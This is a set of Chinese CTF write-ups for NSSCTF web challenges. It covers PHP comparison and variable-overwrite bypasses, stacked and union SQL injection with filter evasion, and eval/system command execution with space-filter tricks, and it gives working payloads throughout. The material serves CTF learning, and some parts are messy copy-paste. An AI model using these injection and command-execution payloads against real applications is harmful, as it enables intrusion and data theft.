[NISACTF 2022]checkin
1.在选中nisactf的时候,注释里面的内容也被标记了
2.复制到010editer中发现存在不可见的字符
3.我们选择实际的参名和字符串,并转为url编码格式
4.得到最后的payload,传参得到flag
ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6N1SACTF
[GDOUCTF 2023]受不了一点
NSSCTF-Web题目16-CSDN博客
https://www.cnblogs.com/magic123/articles/17489622.html
1.代码审计
<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
$b=$_POST['ctf'];
$a=$_POST['gdou']; //检查是否post传参gdou和ctf
if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){ //md5的强比较,直接使用数组绕过即可
if(isset($_COOKIE['cookie'])){ //检查cookie的值
if ($_COOKIE['cookie']=='j0k3r'){ //cookie赋值为j0k3r
if(isset($_GET['aaa']) && isset($_GET['bbb'])){
$aaa=$_GET['aaa'];
$bbb=$_GET['bbb']; //使用get传参,并赋值
if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){ //这里需要绕过,因为是弱比较直接加一个a就能绕过
$give = 'cancanwordflag';
$get ='hacker!';
if(isset($_GET['flag']) && isset($_POST['flag'])){
die($give);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
die($get);
} //检查是否使用get或者post传参flag,并且需要满足任意一种方式flag=flag,这两种都会出现$give和$get里面的内容
foreach ($_POST as $key => $value) { //这里选择任意一个传入flag的方式
使用get,则flag的值在不断的遍历,对flag的值进行传递,输出flag
构造:123=flag&flag=123
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo $flag;
}else{
echo "洗洗睡吧";
}
}else{
echo "行不行啊细狗";
}
}
}
else {
echo '菜菜';
}
}else{
echo "就这?";
}
}else{
echo "别来沾边";
}
?>
此题的难点就在于绕过变脸覆盖
这里的弱比较可以用114514a来绕过,解析后仍为114514。这个是字符串的弱比较,因为== 在进行比较的时候,会先将字符串类型转化成相同,再比较
2.使用hackbar进行配置,得到flag
[强网杯 2019]随便注
1. 测试过程发现是get注入,但在测试的过程中发现存在过滤的东西
2.发现过滤了很多东西,这里使用堆叠注入,首先查询数据库
3.查询表
4.查询第一个表中所有的列名
注意:之前通过乱输导致报错,得到数据库类型是mariadb。mariadb数据库有个特性,就是列名的命名必须遵守一定的规则,只能包含字母、数字、下划线,且不能以数字开头,如果包含特殊字符,则需要使用反引号包裹。
5. 得到了列名下的flag字段,正常来说,就可以直接 select flag from `1919810931114514`了,但是这道题过滤了select,因此需要使用一些特殊的姿势
方法一:利用sql预处理
mysql中prepare的用法是什么 - 问答 - 亿速云
MySQL的sql预处理
MySQL官方将prepare、execute、deallocate统称为PREPARE STATEMENT。
我习惯称其为【预处理语句】。
在MySQL中,PREPARE语句用于创建一个预处理语句或准备语句。通过使用预处理语句,可以将SQL语句和参数分开,提高了SQL语句的安全性和性能。
PREPARE语句的基本语法如下:
PREPARE statement_name FROM 'sql_statement';
其中,statement_name
是预处理语句的名称,sql_statement
是将要预处理的SQL语句。
预处理语句创建后,可以使用EXECUTE语句来执行它:
EXECUTE statement_name;
使用select语句的方式一:通过concat拼接
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#
解析:
concat
函数:concat('s','elect','* from
1919810931114514);
这部分代码使用了 SQL 的concat
函数来连接字符串。这个函数的作用是将多个字符串值连接成一个字符串。在这里,它被用来绕过一些简单的字符串检测机制(尽管实际上这种做法在现代应用中并不常见且容易被识别)。concat
函数的结果是一个字符串'select * from
1919810931114514;'
,这个字符串是一个完整的 SQL 查询语句,用于从名为1919810931114514
的表中选择所有列。**准备 SQL 语句 (
prepare
)**:prepare hacker from ...;
这行代码使用了 SQL 的PREPARE
语句来准备一个 SQL 语句以供执行。在这个例子中,它准备执行的 SQL 语句是通过concat
函数构造的,即'select * from
1919810931114514;'
。**执行 SQL 语句 (
execute
)**:execute hacker
;
这行代码执行了之前通过PREPARE
语句准备好的 SQL 语句。在这个例子中,它会执行'select * from
1919810931114514;'
语句,尝试从名为1919810931114514
的表中选择所有行和列
使用select语句的方式二:通过16进制绕过
最后得到flag
方法二 利用handler句柄
sql注入--handler语句--一文详细解说其原理和方法_sql handler-CSDN博客
总所周知,在sql注入中可以使用select,可如果题目中过滤了select该怎么办呢?我们可以使用handler,这个语句可以一行一行显示库中内容
在SQL中,HANDLER 是用于直接访问表的一种方式。HANDLER 语句用于打开表,并为后续操作提供对表的直接访问。
(1)handler table_name open as hd; 指定数据表进行载入并返回句柄
(2)handler hd read first; 读取指定表/句柄的首航数据
(3)handler hd read next; 读取指定表/句柄的下一行数据
(4)handler hd close; 关闭句柄
句柄是Windows用来标识被应用程序所建立或使用的对象的唯一整数,Windows使用各种各样的句柄标识应用程序实例、窗口、控件、位图、GDi对象等。
Windows句柄有点像C语言中的文件句柄。
从上面的定义我们可以看到,句柄是一个标识符,是拿来标识对象或者项目的。从数据类型上来看它只是一个32位(或者64位)的无符号整数。
应用程序几乎总是通过调用调用一个Windows函数来获得一个句柄,之后其他的Windows函数就可以使用该句柄,来引用相应的对象。在Windows编程中会用到大量的句柄,比如实例句柄、位图句柄、设备描述句柄、图标句柄等。
1.根据以上得到以下的payloads
1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ next;HANDLER `1919810931114514` CLOSE;#
2.得到flag
方法三 重命名表名、字段名
因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id(或data),结合上面的1’ or 1=1#爆出表所有内容就可以查flag啦。
修改表名:ALTER TABLE 旧表名 RENAME TO 新表名;
修改字段:ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
或者
rename命令用于修改表名。
rename命令格式:rename table 原表名 to 新表名;
1';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#
得到flag
[FSCTF 2023]webshell是啥捏
CTF命令执行部分总结_ctf exec shell-CSDN博客
CTF之eval_ctf eval-CSDN博客
ctf web方向与php学习记录5之eval()初见_eval函数 ctf-CSDN博客
1.进入页面,发现$😭表示执行命令函数system,
2.接下来就是分析代码,需要使用get传参的方式,并且使用命令执行函数system来执行命令,最后使用eval函数来按照php代码来执行
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
3.构造payload,查看根目录,发现flag.txt文件
4.使用cat命令来查看文件,得到flag
[SWPUCTF 2022 新生赛]ez_sql
1.进入页面,发现需要用相对安全的方式进行传参,并且是sql注入类型的题目
2.根据要求进行POST传参,先传一个1试试,得到假的flag
3.判断出为字符型
4.判断字段数,但是发现过滤了or和空格
5.这里使用双写绕过,发现有3个字段
6.判断数据库,发现过滤了union
7.这里使用双写绕过,发现没有可用的信息
8.使用limit函数来查第二个数据库,得到第二个数据库的名字是NSS_db
nss=1'/**/uunionnion/**/select/**/1,2,database()/**/limit/**/1,1#
9.爆数据表,得到两个表NSS_
nss=1'/**/uunionnion/**/select/**/1,2,group_concat(table_name) from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db'/**/limit/**/1,1#
ersNSS_tb,usersNSS_tb,user
10.爆字段名
nss=1'/**/uunionnion/**/select/**/1,2,group_concat(column_name) from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb'/**/limit/**/1,1#
11.爆数据,这里显然id是无用的,在第二个字段里面发现flag
nss=1'/**/uunionnion/**/select/**/1,2,group_concat(Secr3t) from/**/NSS_tb/**/limit/**/1,1#
[MoeCTF 2021]babyRCE
1.进行代码审计,发现没有过滤ls
2.直接传参看看
3.构造?rce=c\at${IFS}fl\ag.php,在源代码中找到flag
空格绕过:${IFS}$9 、{IFS} 、$IFS 、${IFS}、$IFS$1(其他数字也行,不一定要1)、IFS等
cat等绕过:ca\t、fl\ag,因为linux系统会将 \+字母当成一种字符
[SWPUCTF 2022 新生赛]webdog1__start
CTF 全讲解:[SWPUCTF 2022 新生赛]webdog1__start_ctf 细心决定一切 ohmydj-CSDN博客
NSSCTF[SWPU2022]webdog1__start - 哔哩哔哩
1.查看源代码可得以下的代码,
我们需要向 learning.php 页面传递查询字符串参数 web,该参数的值需要和其自身的 MD5 处理值相同。为执行判断语句中的内容,我们可以将一个以 0e 或 0E 开头且被 MD5 算法处理的结果也以 0e 或 0E 开头的文本作为参数 web 的值,而文本 0e215962017 恰好符合我们的要求。
2. 在URL中拼接上述查询字符串后,将跳转至start.php页面
3.start.php中未发现可攻击漏洞,在该页面中的源代码中也未发现相关提示。此时,我们可以观察 HTTP 数据包,头部字段中往往会有我们需要的内容。选择其中的网络分栏,点击其中的start.php
4.发现在响应头hint中发现可用的信息,访问f14g.php,得到以下的页面
5.再次进入网络分栏,找到线索
6.进入F1l1l1l1l1lag.php,得到以下的页面
7.进行代码审计
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){
$get=$_GET['get']; //第一个判断语句尝试判断客户端浏览器在访问本页面时是否正确传递 get 查询字符串参数。若有,则将 get 查询字符串参数的值传递给变量 get。
if(!strstr($get," ")){
$get = str_ireplace("flag", " ", $get);//第二个判断语句尝试判断 get 变量的值中是否存在 空格。若存在,则立即终止程序并向终端或页面输出nonono。若不存在,则将get变量中的 flag 子文本(不区分大小写)替换为包含单个空格的字符串。
if (strlen($get)>18){
die("This is too long.");
}//第三个判断语句尝试判断 get 变量的值所占据的内存空间是否大于 18 字节。若是,则终止程序并向终端或页面输出 This is too long.。若不是,则通过 eval() 函数将 get 变量中值作为 PHP 代码进行执行。
else{
eval($get);
}
}else {
die("nonono");
}
}
?>
8.通过将get参数的值设置为system()语句,我们将能够使用命令行工具。ls命令行工具将能够帮助我们摸清服务器的文件结构。
?get=system('ls');
9. 不要忘记,F1l1l1l1l1lag.php
页面的三个判断语句将过滤get参数的值中的空格及flag文本。对于文件重定向操作符绕过空格过滤,只能用于文件查看的相关命令,比如cat,head,tail,more等。空格其他绕过方式:制表符"%09"、换行符“%0a” 制表符\t,如果你还能在群里找到文件,那你可以去翻来看看至于绕过flag,这里也很简单,我看到基本都是用刚才讲到的*进行模糊匹配,而且因为长度原因,你最好使用一些比较短的绕过方式,比如cat就可以换成nl这种
最终payload:
?get=system("nl%09/*");
10.得到flag
[MoeCTF 2022]what are y0u uploading?
1.随便上传一个jpg文件,发现上传成功
2.根据题目的要求,这里使用burp抓包,修改文件名,文件名为页面要求的文件名,前端后端都验证成功,得到flag
[MoeCTF 2021]Web安全入门指北—小饼干
1.进入页面,发现需要身份验证
2.自然想到bp抓包,根据题目要求进行VIP的修改,将0改为1成功绕过,得到 flag
[SWPUCTF 2022 新生赛]funny_php
1.进入页面就是一大串php代码,进行代码审计
<?php
session_start();//session_start();:启动新会话或者继续已有会话,这是为了后面能够使用$_SESSION全局数组来存储和访问用户会话信息。
highlight_file(__FILE__);//highlight_file(__FILE__);:以高亮的方式显示当前文件的源代码。这通常用于调试或展示代码,但在生产环境中应该避免使用。
if(isset($_GET['num'])){
if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){ //这段代码尝试检查通过GET请求传递的num参数。要求一个字符串的长度同时小于等于3且大于999999999,所以这里想到科学计数法绕过。
echo ":D";
$_SESSION['L1'] = 1;
}else{
echo ":C";
}
}
if(isset($_GET['str'])){ //该if语句主要将该全局变量的值中的NSSCTF替换成空,又要满足执行成功的要求,所以这里想到双写绕过
$str = preg_replace('/NSSCTF/',"",$_GET['str']);
if($str === "NSSCTF"){
echo "wow";
$_SESSION['L2'] = 1;
}else{
echo $str;
}
}
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){ //以下if语句主要是使用POST传参的方式,让md5_1和md5_2的md5值相等,并且要求md5_1和md5_2是字符串,这样就能满足要求
if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
echo "Nice!";
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
echo "yoxi!";
$_SESSION['L3'] = 1;
}else{
echo "X(";
}
}
}else{
echo "G";
echo $_POST['md5_1']."\n".$_POST['md5_2'];
}
}
if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
include('flag.php');
echo $flag; //三个条件同时满足就能得到flag
}
?>
2.代码审计完之后,答案就很明显,直接构造payload:
GET:
?num=9e9&str=NSSNSSCTFCTF
POST:
?md5_1=QLTHNDT&md5_2=QNKCDZO
3.传入直接得到flag